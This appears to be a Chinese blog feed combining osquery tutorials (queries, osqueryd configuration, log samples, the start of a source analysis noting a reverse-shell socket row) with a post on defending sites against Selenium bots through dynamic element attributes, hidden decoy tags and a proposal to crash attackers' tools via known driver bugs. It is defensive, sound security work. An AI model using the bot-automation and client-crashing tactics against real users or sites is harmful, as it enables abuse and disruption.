  gpgkey = file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

我们可以直接利用yum_sources来查看操作系统的yum源相关的信息。

osquery> SELECT name, version FROM rpm_packages order by name limit 3;
   name = GConf2
version = 3.2.6

   name = GeoIP
version = 1.5.0

   name = ModemManager
version = 1.6.0

利用rpm_packages查看系统中已经安装的rpm包信息。我们也可以通过name对我们需要查询的包进行过滤,如下:

osquery> SELECT name, version FROM rpm_packages where name="osquery";
   name = osquery
version = 3.3.0

挂载信息

我们可以使用mounts表来查询系统中的具体的驱动信息。例如我们可以如下的SQL语句进行查询:

SELECT * FROM mounts;
SELECT device, path, type, inodes_free, flags FROM mounts;

我们也可以使用where语句查询摸一个具体的驱动信息,例如ext4或者是tmpfs信息。如下:

osquery> SELECT device, path, type, inodes_free, flags FROM mounts WHERE type="ext4";
osquery> SELECT device, path, type, inodes_free, flags FROM mounts WHERE type="tmpfs";
     device = tmpfs
       path = /dev/shm
       type = tmpfs
inodes_free = 356960
      flags = rw,seclabel,nosuid,nodev

     device = tmpfs
       path = /run
       type = tmpfs
inodes_free = 356386
      flags = rw,seclabel,nosuid,nodev,mode=755

     device = tmpfs
       path = /sys/fs/cgroup
       type = tmpfs
inodes_free = 356945
      flags = ro,seclabel,nosuid,nodev,noexec,mode=755

     device = tmpfs
       path = /run/user/42
       type = tmpfs
inodes_free = 356955
      flags = rw,seclabel,nosuid,nodev,relatime,size=285572k,mode=700,uid=42,gid=42

     device = tmpfs
       path = /run/user/1000
       type = tmpfs
inodes_free = 356939
      flags = rw,seclabel,nosuid,nodev,relatime,size=285572k,mode=700,uid=1000,gid=1000

内存信息

使用memory_info查看内存信息,如下:

osquery> select * from memory_info;
memory_total = 2924228608
 memory_free = 996024320
     buffers = 4280320
      cached = 899137536
 swap_cached = 0
      active = 985657344
    inactive = 629919744
  swap_total = 2684350464
   swap_free = 2684350464

网卡信息

使用interface_addresses查看网卡信息,如下:

osquery> SELECT * FROM interface_addresses;
     interface = lo
       address = 127.0.0.1
          mask = 255.0.0.0
     broadcast = 
point_to_point = 127.0.0.1
          type = 

     interface = virbr0
       address = 192.168.122.1
          mask = 255.255.255.0
     broadcast = 192.168.122.255
point_to_point = 
          type = 

     interface = lo
       address = ::1
          mask = ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
     broadcast = 
point_to_point = 
          type =

还可以使用interface_details查看更加具体的网卡信息。

SELECT * FROM interface_details;
SELECT interface, mac, ipackets, opackets, ibytes, obytes FROM interface_details;

查询结果如下

osquery> SELECT * FROM interface_details;
  interface = lo
        mac = 00:00:00:00:00:00
       type = 4
        mtu = 65536
     metric = 0
      flags = 65609
   ipackets = 688
   opackets = 688
     ibytes = 59792
     obytes = 59792
    ierrors = 0
    oerrors = 0
     idrops = 0
     odrops = 0
 collisions = 0
last_change = -1
 link_speed = 
   pci_slot = 
    ....

系统启动时间

osquery> select * from uptime;
         days = 0
        hours = 2
      minutes = 23
      seconds = 51
total_seconds = 8631

查询用户信息

osquery提供了多个表用于查询用户的信息,包括使用users表检索系统中所有的用户,使用last表查看用户上次登录的信息,使用logged_in_user查询具有活动shell的用户信息。

使用select * from users查看所有用户信息,使用类似于uid>1000的方式过滤用户。

osquery> select * from users where uid>1000;
        uid = 65534
        gid = 65534
 uid_signed = 65534
 gid_signed = 65534
   username = nfsnobody
description = Anonymous NFS User
  directory = /var/lib/nfs
      shell = /sbin/nologin
       uuid =

我们可以使用last表查询最终的登录信息,如SELECT * FROM last;。对于普通用户来说,其type值为7。那么我们的查询条件如下:

osquery> SELECT * FROM last where type=7;
username = user
     tty = :0
     pid = 12776
    type = 7
    time = 1539882439
    host = :0

username = user
     tty = pts/0
     pid = 13754
    type = 7
    time = 1539882466
    host = :0

其中的time是时间戳类型,转换为具体的日期之后就可以看到具体的登录时间了。

使用SELECT * FROM logged_in_users;查看当前已经登录的用户信息。

防火墙信息

我们可以使用iptables来查看具体的防火墙信息,如select * from iptables;,也可以进行过滤查询具体的防火墙信息。如SELECT chain, policy, src_ip, dst_ip FROM iptables WHERE chain="POSTROUTING" order by src_ip;

进程信息

我们可以使用processes来查询系统上进程的信息,包括pid,name,path,command等等。
可以使用select * from processes;或者查看具体的某几项信息,select pid,name,path,cmdline from processes;

osquery> select pid,name,path,cmdline from processes limit 2;
    pid = 1
   name = systemd
   path = 
cmdline = /usr/lib/systemd/systemd --switched-root --system --deserialize 21

    pid = 10
   name = watchdog/0
   path = 
cmdline =

检查计划任务

我们可以使用crontab来检查系统中的计划任务。

osquery> select * from crontab;
       event = 
      minute = 01
        hour = *
day_of_month = *
       month = *
 day_of_week = *
     command = root run-parts /etc/cron.hourly
        path = /etc/cron.d/0hourly

       event = 
      minute = 0
        hour = 1
day_of_month = *
       month = *
 day_of_week = Sun
     command = root /usr/sbin/raid-check
        path = /etc/cron.d/raid-check

其他

在Linux中还存在其他很多的表能够帮助我们更好地进行入侵检测相关的工作,包括process_eventssocket_eventsprocess_open_sockets等等,这些表可供我们进行入侵检测的确认工作。至于这些表的工作原理,有待阅读osquery的源代码进行进一步分析。

0x04 总结

本文主要是对Osquery的基础功能进行了介绍。Oquery的强大功能需要进一步地挖掘和发现。总体来说,Osquery将操作系统中的信息抽象成为一张张表,对于进行基线检查,系统监控是一个非常优雅的方式。当然由于Osquery在这方面的优势,也可以考虑将其作为HIDS的客户端,但是如果HIDS仅仅只有Osquery也显然是不够的。

以上


使用osqueryd监控系统

$
0
0

0x01 说明

osquery初识主要是借由osqueryi的方式对osquery进行了一个基本的介绍。可以看到osqueryi是一个交互式的shell,我们可以很方便使用它进行测试,但是如果我们要将osquery投入实际使用,明显是osqueryd更加合适。本篇文章将详细地介绍osqueryd的使用。

0x02 osqueryd配置

如果使用osqueryi,我们可以通过osqueryi -audit_allow_config=true --audit_allow_sockets=true --audit_persist=true这样的方式传入设置。如果是osqueryd呢?其实我们安装好osquery之后,会以service的方式存在于系统中,同时可以利用systemctl的方式进行控制,其文件位于/usr/lib/systemd/system/osqueryd.service

[Unit]
Description=The osquery Daemon
After=network.service syslog.service

[Service]
TimeoutStartSec=0
EnvironmentFile=/etc/sysconfig/osqueryd
ExecStartPre=/bin/sh -c "if [ ! -f $FLAG_FILE ]; then touch $FLAG_FILE; fi"
ExecStartPre=/bin/sh -c "if [ -f $LOCAL_PIDFILE ]; then mv $LOCAL_PIDFILE $PIDFILE; fi"
ExecStart=/usr/bin/osqueryd \
  --flagfile $FLAG_FILE \
  --config_path $CONFIG_FILE
Restart=on-failure
KillMode=process
KillSignal=SIGTERM

[Install]
WantedBy=multi-user.target

启动方式就是ExecStart=/usr/bin/osqueryd --flagfile $FLAG_FILE --config_path $CONFIG_FILE,通过--flagfile--config_path的方式指定配置文件的路径。$FLAG_FILE和$CONFIG_FILE是在/etc/sysconfig/osqueryd中定义。

FLAG_FILE="/etc/osquery/osquery.flags"
CONFIG_FILE="/etc/osquery/osquery.conf"
LOCAL_PIDFILE="/var/osquery/osqueryd.pidfile"
PIDFILE="/var/run/osqueryd.pidfile"

默认的配置文件就是位于/etc/osquery/osquery.flags/etc/osquery/osquery.conf。当启动osqueryd时,如果不存在osquery.flagsosquery.conf会创建两个空文件,否则直接读取此文件的内容。其实osquery.conf可以认为是osquery.flags的超集,因为osquery.flags仅仅只是设置一些配置,而这些配置也同样可以在osquery.conf中实现,同时在osquery.conf中还可以配置osqueryd需要执行的SQL。所以接下来本文将仅仅只介绍osquery.conf的使用。

0x03 osquery.conf

osquery本身提供了一个osquery.conf的例子,其写法是一个JSON格式的文件,在这里我们将其简化一下。

{
  // Configure the daemon below:
  "options": {
    // Select the osquery config plugin.
    "config_plugin": "filesystem",

    // Select the osquery logging plugin.
    "logger_plugin": "filesystem",

    // The log directory stores info, warning, and errors.
    // If the daemon uses the 'filesystem' logging retriever then the log_dir
    // will also contain the query results.
    //"logger_path": "/var/log/osquery",

    // Set 'disable_logging' to true to prevent writing any info, warning, error
    // logs. If a logging plugin is selected it will still write query results.
    //"disable_logging": "false",

    // Splay the scheduled interval for queries.
    // This is very helpful to prevent system performance impact when scheduling
    // large numbers of queries that run a smaller or similar intervals.
    //"schedule_splay_percent": "10",

    // A filesystem path for disk-based backing storage used for events and
    // query results differentials. See also 'use_in_memory_database'.
    //"database_path": "/var/osquery/osquery.db",

    // Comma-delimited list of table names to be disabled.
    // This allows osquery to be launched without certain tables.
    //"disable_tables": "foo_bar,time",

    "utc": "true"
  },

  // Define a schedule of queries:
  "schedule": {
    // This is a simple example query that outputs basic system information.
    "system_info": {
      // The exact query to run.
      "query": "SELECT hostname, cpu_brand, physical_memory FROM system_info;",
      // The interval in seconds to run this query, not an exact interval.
      "interval": 3600
    }
  },

  // Decorators are normal queries that append data to every query.
  "decorators": {
    "load": [
      "SELECT uuid AS host_uuid FROM system_info;",
      "SELECT user AS username FROM logged_in_users ORDER BY time DESC LIMIT 1;"
    ]
  },
  "packs": {
    // "osquery-monitoring": "/usr/share/osquery/packs/osquery-monitoring.conf",
    ....
  }, 
}

osquery.conf文件大致可以分为4个部分。

  • options,配置选项,Command Line Flags基本上对所有的配置选项都进行了说明。其实osquery.flags所配置也是这个部分。这也是之前说的osquery.conf可以认为是osquery.flags的超集的原因;
  • schedule,配置SQL语句。因为osqueryd是以daemon的方式运行,所以需要通过在schedule中定义SQL语句使其定期执行返回结果;
  • decorators,中文意思是“装饰”。在decorators中也是定义了一系列的SQL语句,执行得到的结果会附加在是在执行schedule中的结果的后面;所以我们看到在decorators我们取的是uuid和登录的username
  • packs,就是一系列SQL语句的合集;

0x04 配置说明

上一节中对osquery.conf中的配置进了一个简单的说明,在本节中将详细说明。

options

  • options就是配置。Command Line Flags基本上对所有的配置选项都进行了说明。我们可以进行多种配置,有兴趣的可以自行研究。本节仅仅说明几个常用的配置;
  • config_plugin,配置选项是filesystem。如果是通过osquery.conf管理osquery就是采用filesystem,还有一种选项是tls(这一种主要是通过API的方式来配置osquery)。
  • logger_plugin,配置选项是filesystem,这也是osquery的默认值。根据Logger plugins,还可以配置tls,syslog (for POSIX,windows_event_log (for Windows),kinesis,firehose,kafka_producer
  • database_path,默认值是/var/osquery/osquery.db。因为osquery内部会使用到数据,所以配置此目录是osquery的数据库文件位置。
  • disable_logging,是配置设置osquery的结果是否需要保存到本地,这个配置其实和logger_plugin:filesystem有点重复。
  • hostIdentifier,相当于表示每个主机的标识,比如可以采用hostname作为标识。

schedule

schedule是osqeuryd用于写SQL语句的标签。其中的一个示例如下所示:

"system_info": {
    // The exact query to run.
    "query": "SELECT hostname, cpu_brand, physical_memory FROM system_info;",
    // The interval in seconds to run this query, not an exact interval.
    "interval": 3600
}

其中system_info是定义的一个SQL任务的名字,也是一个JSON格式。在其中可以进行多项设置,包括:

  1. query,定义需要执行的SQL语句;
  2. interval,定时执行的时间,示例中是3600,表示每隔3600秒执行一次;
  3. snapshot,可选选项,可以配置为snapshot:true。osquery默认执行的是增量模式,使用了snapshot则是快照模式。比如执行select * from processes;,osqeury每次产生的结果是相比上一次变化的结果;如果采用的是snapshot,则会显示所有的进程的,不会与之前的结果进行对比;
  4. removed,可选选项,默认值是true,用来设置是否记录actionremove的日志。

当然还有一些其他的不常用选项,如platformversionsharddescription等等。

更多关于schedule的介绍可以参考schedule

decorators

正如其注释Decorators are normal queries that append data to every query所说,Decorators会把他的执行结果添加到schedule中的sql语句执行结果中。所以根据其作用Decorators也不是必须存在的。。在本例中Decorators存在两条记录:

SELECT uuid AS host_uuid FROM system_info;
SELECT user AS username FROM logged_in_users ORDER BY time DESC LIMIT 1;
  1. SELECT uuid AS host_uuid FROM system_info,从system_info获取uuid作为标识符1;
  2. SELECT user AS username FROM logged_in_users ORDER BY time DESC LIMIT 1;,从logged_in_users选择user(其实查询的是用户名)的第一项作为标识符2;

当然可以在Decorators写多条语句作为标识符,但是感觉没有必要;

packs

packs就是打包的SQL语句的合集,本示例中使用的/usr/share/osquery/packs/osquery-monitoring.conf,这是官方提供的一个监控系统信息的SQL语句的集合;

{
  "queries": {
    "schedule": {
      "query": "select name, interval, executions, output_size, wall_time, (user_time/executions) as avg_user_time, (system_time/executions) as avg_system_time, average_memory, last_executed from osquery_schedule;",
      "interval": 7200,
      "removed": false,
      "blacklist": false,
      "version": "1.6.0",
      "description": "Report performance for every query within packs and the general schedule."
    },
    "events": {
      "query": "select name, publisher, type, subscriptions, events, active from osquery_events;",
      "interval": 86400,
      "removed": false,
      "blacklist": false,
      "version": "1.5.3",
      "description": "Report event publisher health and track event counters."
    },
    "osquery_info": {
      "query": "select i.*, p.resident_size, p.user_time, p.system_time, time.minutes as counter from osquery_info i, processes p, time where p.pid = i.pid;",
      "interval": 600,
      "removed": false,
      "blacklist": false,
      "version": "1.2.2",
      "description": "A heartbeat counter that reports general performance (CPU, memory) and version."
    }
  }
}

packs中的配置和schedule的配置方法并没有什么区别。我们在packs中查询到的信息包括:

  • osquery_schedule拿到osqueryd设置的schedule的配置信息;
  • osquery_events中拿到osqueryd所支持的所有的event
  • processesosquery_info中拿到进程相关的信息;

使用packs的好处是可以将一系列相同功能的SQL语句放置在同一个文件中;

0x05 运行osqueryd

当以上配置完毕之后,我们就可以通过sudo osqueryd的方式启动;如果我们设置logger_plugin:filesystem,那么日志就会落在本地/var/log/osquery下。此目录下包含了多个文件,每个文件分别记录不同的信息。

osqueryd.results.log,osqueryd的增量日志的信息都会写入到此文件中;保存结果的形式是JSON形式。示例如下:

{"name":"auditd_process_info","hostIdentifier":"localhost.localdomain","calendarTime":"Wed Oct 24 13:07:12 2018 UTC","unixTime":1540386432,"epoch":0,"counter":0,"decorations":{"host_uuid":"99264D56-9A4E-E593-0B4E-872FBF3CD064","username":"username"},"columns":{"atime":"1540380461","auid":"4294967295","btime":"0","cmdline":"awk { sum += $1 }; END { print 0+sum }","ctime":"1538239175","cwd":"\"/\"","egid":"0","euid":"0","gid":"0","mode":"0100755","mtime":"1498686768","owner_gid":"0","owner_uid":"0","parent":"4086","path":"/usr/bin/gawk","pid":"4090","time":"1540386418","uid":"0","uptime":"1630"},"action":"added"}
{"name":"auditd_process_info","hostIdentifier":"localhost.localdomain","calendarTime":"Wed Oct 24 13:07:12 2018 UTC","unixTime":1540386432,"epoch":0,"counter":0,"decorations":{"host_uuid":"99264D56-9A4E-E593-0B4E-872FBF3CD064","username":"username"},"columns":{"atime":"1540380461","auid":"4294967295","btime":"0","cmdline":"sleep 60","ctime":"1538240835","cwd":"\"/\"","egid":"0","euid":"0","gid":"0","mode":"0100755","mtime":"1523421302","owner_gid":"0","owner_uid":"0","parent":"741","path":"/usr/bin/sleep","pid":"4091","time":"1540386418","uid":"0","uptime":"1630"},"action":"added"}

其中的added表示的就是相当于上一次增加的进程信息;每一次执行的结果都是一条JSON记录;

squeryd.snapshots.log,记录的是osqueryd中使用snapshot:true标记的SQL语句执行结果;

{"snapshot":[{"header":"Defaults","rule_details":"!visiblepw"},{"header":"Defaults","rule_details":"always_set_home"},{"header":"Defaults","rule_details":"match_group_by_gid"},{"header":"Defaults","rule_details":"env_reset"},{"header":"Defaults","rule_details":"env_keep = \"COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS\""},{"header":"Defaults","rule_details":"env_keep += \"MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE\""},{"header":"Defaults","rule_details":"env_keep += \"LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES\""},{"header":"Defaults","rule_details":"env_keep += \"LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE\""},{"header":"Defaults","rule_details":"env_keep += \"LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY\""},{"header":"Defaults","rule_details":"secure_path = /sbin:/bin:/usr/sbin:/usr/bin"},{"header":"root","rule_details":"ALL=(ALL) ALL"},{"header":"%wheel","rule_details":"ALL=(ALL) ALL"}],"action":"snapshot","name":"sudoers","hostIdentifier":"localhost.localdomain","calendarTime":"Tue Oct  9 11:54:00 2018 UTC","unixTime":1539086040,"epoch":0,"counter":0,"decorations":{"host_uuid":"99264D56-9A4E-E593-0B4E-872FBF3CD064","username":"username"}}
{"snapshot":[{"header":"Defaults","rule_details":"!visiblepw"},{"header":"Defaults","rule_details":"always_set_home"},{"header":"Defaults","rule_details":"match_group_by_gid"},{"header":"Defaults","rule_details":"env_reset"},{"header":"Defaults","rule_details":"env_keep = \"COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS\""},{"header":"Defaults","rule_details":"env_keep += \"MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE\""},{"header":"Defaults","rule_details":"env_keep += \"LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES\""},{"header":"Defaults","rule_details":"env_keep += \"LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE\""},{"header":"Defaults","rule_details":"env_keep += \"LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY\""},{"header":"Defaults","rule_details":"secure_path = /sbin:/bin:/usr/sbin:/usr/bin"},{"header":"root","rule_details":"ALL=(ALL) ALL"},{"header":"%wheel","rule_details":"ALL=(ALL) ALL"}],"action":"snapshot","name":"sudoers","hostIdentifier":"localhost.localdomain","calendarTime":"Tue Oct  9 11:54:30 2018 UTC","unixTime":1539086070,"epoch":0,"counter":0,"decorations":{"host_uuid":"99264D56-9A4E-E593-0B4E-872FBF3CD064","username":"username"}}

由于snapshot是快照模式,所以即使两次结果相同也会全部显示出来;

osqueryd.INFO,记录osqueryd中正在运行的情况。示例如下:

Log file created at: 2018/11/22 17:06:06
Running on machine: osquery.origin
Log line format: [IWEF]mmdd hh:mm:ss.uuuuuu threadid file:line] msg
I1122 17:06:06.729902 22686 events.cpp:862] Event publisher not enabled: auditeventpublisher: Publisher disabled via configuration
I1122 17:06:06.730651 22686 events.cpp:862] Event publisher not enabled: syslog: Publisher disabled via configuration

osqueryd.WARNING,记录osquery的警告。示例如下:

Log file created at: 2018/10/09 19:53:45
Running on machine: localhost.localdomain
Log line format: [IWEF]mmdd hh:mm:ss.uuuuuu threadid file:line] msg
E1009 19:53:45.471046 104258 events.cpp:987] Requested unknown/failed event publisher: auditeventpublisher
E1009 19:53:45.471606 104259 events.cpp:987] Requested unknown/failed event publisher: inotify
E1009 19:53:45.471634 104260 events.cpp:987] Requested unknown/failed event publisher: syslog
E1009 19:53:45.471658 104261 events.cpp:987] Requested unknown/failed event publisher: udev

osqueryd.ERROR,记录的是osquery的错误信息。示例如下:

Log file created at: 2018/10/09 19:53:45
Running on machine: localhost.localdomain
Log line format: [IWEF]mmdd hh:mm:ss.uuuuuu threadid file:line] msg
E1009 19:53:45.471046 104258 events.cpp:987] Requested unknown/failed event publisher: auditeventpublisher
E1009 19:53:45.471606 104259 events.cpp:987] Requested unknown/failed event publisher: inotify
E1009 19:53:45.471634 104260 events.cpp:987] Requested unknown/failed event publisher: syslog
E1009 19:53:45.471658 104261 events.cpp:987] Requested unknown/failed event publisher: udev

在本例中错误信息和警告信息完全相同。在实际情况下,可能很多时候均不相同;

0x06 总结

本文主要是对osqueryd的常用配置进行了简要的说法。通过本文能够快速地利用上手osquery,由于篇幅的原因,有关osquery的很多东西没有介绍或者说明得很详细。官方的文档对osqueryd的配置已经说明得很是详尽了,如果对本文有任何的不解,可以去查阅相关的文档,也欢迎大家就相关问题与我讨论。

以上

前端动态变化对抗Selenium类自动化工具思路探索

$
0
0

0x01 前言

这不是一篇安全技术文章,如果你关注业务安全,羊毛党对抗,爬虫对抗,可以慢慢观看。

在业务安全领域最大的困扰是来自各种各样的自动化工具的薅羊毛行为,羊毛党所使用的自动化武器五花八门,其中模拟更像真人的,使用比较多的是基于Selenium库实现的操作各种真实浏览器模拟的操作。Selenium库提供的webdriver,支持主流的浏览器如:chrome,firefox, ie,opera,phantomjs,safari 也支持浏览器的headless模式,更多的介绍可以看文章:https://www.cnblogs.com/zhaof/p/6953241.html

0x02 自动化工具的demo

羊毛党在薅羊毛前就会准备好自动化工具,如抢票活动的薅羊毛,他们需要自动化工具能够完成打开浏览器,打开登录网页,填充账号密码信息,点击完成登录,打开活动页面,点击抢票等一系列操作。

下面给出的一个demo是使用Selenium +Chrome 浏览器模拟的对测试网站demo. testfire.net进行自动化登录(或撞库,爆破密码)的代码。

201812051544014778183194.png

上面的代码中首先使用Selenium中的webdriver 打开本地的Chrome 浏览器,然后利用其提供的API 接口,直接打开登录地址。要完成填充账号,密码的信息,需要先找到输入位置。Selenium 提供了多种查找元素的接口,可以通过id ,name ,xpath ,css selector ,甚至通过文本来定位。当找到操作元素的位置后就可以对其进行相应的点击,输入,拖动等动作了。

0x03 GET一些知识背景

元素的定位应该是自动化测试的核心,要想操作一个对象,首先应该识别这个对象。 一个对象就是一个人一样,他会有各种的特征(属性),如比我们可以通过一个人的身份证号,姓名,或者他住在哪个街道、楼层、门牌找到这个人。

那么一个对象也有类似的属性,我们可以通过这个属性找到这对象。 webdriver 提供了一系列的对象定位方法,常用的有以下几种:

  • id
  • name
  • name
  • class name
  • link text
  • partial link text
  • tag name
  • xpath
  • css selector

我们拿百度搜索的页面来做例子,分别使用不同的定位方法下python的调用参数如下:

百度搜索输入框的input标签如下:

<input id="kw" name="wd" class="s_ipt" value="" maxlength="255" autocomplete="off">

哪么使用Selenium的自动化工具实现定位元素的方式有如下:

1.通过id定位

u = dr.find_element_by_id('kw')

2.通过name定位

u = dr.find_element_by_name('wd')

3.通过class name定位

s = dr.find_element_by_class_name('s_ipt')

4.通过xpath定位

s = dr.find_element_by_xpath('//*[@id="kw"]')

5.通过css selector定位

s = dr.browser.find_element_by_css_selector('#kw')

以上5种是使用Selenium编写自动化工具定位元素时使用的最多的方式,(其他的就不做列举了)可以看出自动化工具查找元素时对于这个输入标签的id,name, class等值的依赖是十分的强的。

我们再看看浏览器上javascript提供的查找元素的接口

201812051544016163471346.png

同样是使用了id, name, class的值进行的元素查找.

0x04 思考对抗思路

这种类型的利用驱动程序调用浏览器模拟人为操作的攻击方式通过传统的js防爬,UA 黑名单等方式是比较难防护的,因为这种攻击是真实浏览器发起的操作。回想到上面,这类攻击实现是通过webdriver 驱动浏览器进行的自动化操作,它的原理是通过注入自己的js 脚本到浏览器的每一个页面,通过js 完成页面的自动化点击,输入操作。哪么第一个思路就是去检测webdriver注入的js,这是目前一些防自动化攻击的厂商产品思路。防护产品A给每一个页面注入检测js ,通过检测webdriver 注入js 时带来的函数名,变量名等,实现自动化工具识别。这个检测思路也确实有效,但是这就像是杀软对抗病毒一样,通过特征库进行查杀。一定特征函数名,特征变量名等发生了变化如攻击者重写了webdriver 的驱动程序,修改了特征,哪防护产品就毫无办法了。这也是杀软一直以来面临的困扰。。。

变化一下思路,我们知道通过js 操作页面,同样需要先查找到元素。通过document. find ElenentBy**,最常见的是通过ID ,name 来查找元素。如果让 webdriver 的js注入过程是成功的,如果动态变化了标签的id, name, class name值,那么注入的JS脚本的find 定位元素过程是失败的,同样也能起到防护自动化工具的作用。

新的思路1:标签属性动态变化,干扰js 查找元素过程

对于防护产品而言,第一阶段保留原来的检测webdriver 注入js 的防护方式。随机切换到第二阶段即放过webdriver 的js 检测,动态混淆关键标签的ID ,NAME ,class name的值

什么时候动态变化?我们可以在upstream 第一次返回内容就开始,往后我们hook 一些关键事件,当页面触发这类事件时主动变化。

新的思路2:随机插入不可见相同标签

在分析Selenium中发现它在查找元素定位时不可见标签的会对其有干扰,在Selenium的git hub有提到过,高版本的Selenium 支持查找disabled 的标签。哪么我们就可以构造ID ,name 等属性一样的但是hidden隐藏的,disabled 不可操作的标签,可以成功干扰它的定位元素过程,并且界面UI不会察觉。这种思路作用于,自动化脚本不是通过ID,NAME来做元素定位,而是通过xpath使用 css selector来做定位的情况。

举个栗子:

201812051544019146607737.png

自动化工具通过xpath语法可以定位上面的搜索位置,上面的ID, name动态方式就无法干扰了。

上面图搜索框上面的hidden的是插入的虚假标签,

未插入前:羊毛程序通过下面的结构避开id,name完成定位

#main > header > div.header-content.clearfix > div.header-search-module > div.header-search-block > input

插入隐藏标签后:羊毛程序需要修改xpath结构,才能找到正确的输入位置。

#main > header > div.header-content.clearfix > div.header-search-module > div.header-search-block > input:nth-child(2)

这里插入的标签是hidden,disabled的,他UI不可见,不会被form表单提交到Server端的。完美的干扰了羊毛程序的查找。

新的思路3:text插入不可见字符/其他字符

上面的思路几乎干扰了webdriver最常用的元素定位方式,剩下的是通过link文本的方式进行定位。Selenium支持根据标签的text值或部分值进行搜索定位元素。我们在原始的text里插入不影响页面UI明显变化的特殊字符,就可以干扰webdriver的这种定位元素的方式。

新的思路4:化被动为主动的对抗思路

这里的反攻思路主要是利用浏览器的缺陷,利用自动化工具的bug,甚至漏洞来反击。这个比较有意思,我们通过GitHub上查看Selenium,Chromedriver, geckodriver的issues,收集广大网友们在自动化测试(薅羊毛)中发现的bug,我们故意构造这样的环境,迫使羊毛程序自己崩溃。用这种方式来干扰阻挡羊毛行动。

0x05 demo一下

长篇大论说了那么多,你一定心里发毛了“show me the code...”。基于上面的多种思路现在开始demo一下,我用mitmproxy模拟反向代理工具,编写python脚本来对原站返回内容做修改,插入特定的JS代码。插入的JS代码实现上面的思路和hook一些Window的事件比如onkeypress, onclick, onchange事件,当触发这些事件时页面上发生一些动态变化,这些动态变化UI上没有明显变化,但是影响了Selenium注入的JS脚本的自动化行为过程。

Demo1­:动态变化id,name值

mitmproxy脚本编写如下,给特定的域名,登录页面注入我的们JS脚本,并放在了body最后,应该能尽量减少对原页面的影响。

201812051544017569103738.png

注入的JS脚本太长限于篇幅不贴出来了,主要实现:

通过document.getElementsByTagName遍历input标签,记录所有标签的id,name,class name值,定义change 函数,用于随机生成新的id,name等值,hook一些事件,当触发事件后调用change函数实现一次动态修改。

最后当然还需要hook 表单提交的onsubmit函数,先还原真实的id,name,class name值,然后走正常提交。

注入JS后的效果:

当页面每一次触发事件,关键标签input的id,name进行一次变化。

201812051544018018166191.png

正常人类在无感知下完成业务的正常工作。

201812051544018322300778.png

使用自动化工具进行测试如下:

首先是没有经过mitmproxy的修改注入JS的,自动化登录成功如下图。

201812051544018394910059.png

然后访问经过代理后的注入JS的地址,自动化登录失败。

201812051544018454832802.png

根据console的提示,可以看出自动化工具在工作中因触发了一些事件,id, name动态变化了,程序无法定位完成对应的数据输入。

Demo2:插入不可见的相同标签

注入JS后的效果,插入了hidden,disabled,id,name等属性相同的标签:

201812051544019562214217.png

当然不能影响正常业务啦,如下:

201812051544019625790680.png

webdriver测试如下:下面是成功干扰了Firefox的程序,它说找到的元素不可用的。。

201812051544019677488025.png

Demo3:text插入不可见字符/其他字符

Selenium 类工具支持一种叫link 定位的操作,有时候不是一个输入框也不是一个按钮,而是一个文字链接,可以通过 link进行定位。

这种情况下,自动化程序不用id, name和xpath结构,直接通过文本查找匹配进行定位。我们为了干扰,能做的就是动态修改这些关键位置的文本,让其程序无法用于定位。

比如下面的测试代码,程序自动打开网页,通过“Sign In”找到登录链接,然后打开,通过“Contact Us”找到联系商家,然后通过“online form” 找到订单页面等。。这一些列自动化过程仅通过页面的文本来查找定位。前面的思路都无法对其干扰,我们如果将页面的“Sign In” 修改为“Sign . In”这样,做一些UI上尽可能小的变化动作。同样可能成功干扰自动化程序。

201812051544020237881426.png

对Webdriver成功干扰效果如下:

201812051544020448896634.png

这里仅能做到一个思路demo的证明,真正要做好还是不容易,因为对我来说还不知道怎么找到,浏览器上UI不显示,但是text是不同的修改办法。

跪求前端大佬指教。。

Demo4:化被动为主动的对抗思路

这里思路还没有完全构思好,用JS反攻客户端的好点子还没有。这里抛2个bug,怎么很好的用bug和JS反攻,期待和大佬的交流。bug地址:https://github.com/SeleniumHQ/selenium/issues/5840https://github.com/mozilla/geckodriver/issues/1228

0x06 总结

本文的思路早也有人提出过,写完本文后才知道早在16年携程就有前辈写文《关于反爬虫,看这一篇就够了》地址:https://blog.csdn.net/u013886628/article/details/51820221,提到过了。提及的内容截图如下:

201812051544021106525820.png

可见携程的反爬虫历史很悠长哦。晚辈献丑了,路漫漫其修远兮,吾将上下而求索。

osquery源码解读之分析shell_history

$
0
0

说明

前面两篇主要是对osquery的使用进行了说明,本篇文章将会分析osquery的源码。本文将主要对shell_historyprocess_open_sockets两张表进行说明。通过对这些表的实现分析,一方面能够了解osquery的实现通过SQL查询系统信息的机制,另一方面可以加深对Linux系统的理解。

表的说明

shell_history是用于查看shell的历史记录,而process_open_sockets是用于记录主机当前的网络行为。示例用法如下:

shell_history

osquery> select * from shell_history limit 3;
+------+------+-------------------------------------------------------------------+-----------------------------+
| uid  | time | command                                                           | history_file                |
+------+------+-------------------------------------------------------------------+-----------------------------+
| 1000 | 0    | pwd                                                               | /home/username/.bash_history |
| 1000 | 0    | ps -ef                                                            | /home/username/.bash_history |
| 1000 | 0    | ps -ef | grep java                                                | /home/username/.bash_history |
+------+------+-------------------------------------------------------------------+-----------------------------+

process_open_socket显示了一个反弹shell的链接。

osquery> select * from process_open_sockets order by pid desc limit 1;
+--------+----+----------+--------+----------+---------------+----------------+------------+-------------+------+------------+---------------+
| pid    | fd | socket   | family | protocol | local_address | remote_address | local_port | remote_port | path | state      | net_namespace |
+--------+----+----------+--------+----------+---------------+----------------+------------+-------------+------+------------+---------------+
| 115567 | 3  | 16467630 | 2      | 6        | 192.168.2.142 | 192.168.2.143  | 46368      | 8888        |      | ESTABLISH  | 0             |
+--------+----+----------+--------+----------+---------------+----------------+------------+-------------+------+------------+---------------+

osquery整体的代码结构十分地清晰。所有表的定义都是位于specs下面,所有表的实现都是位于osquery/tables

我们以shell_history为例,其表的定义是在specs/posix/shell_history.table

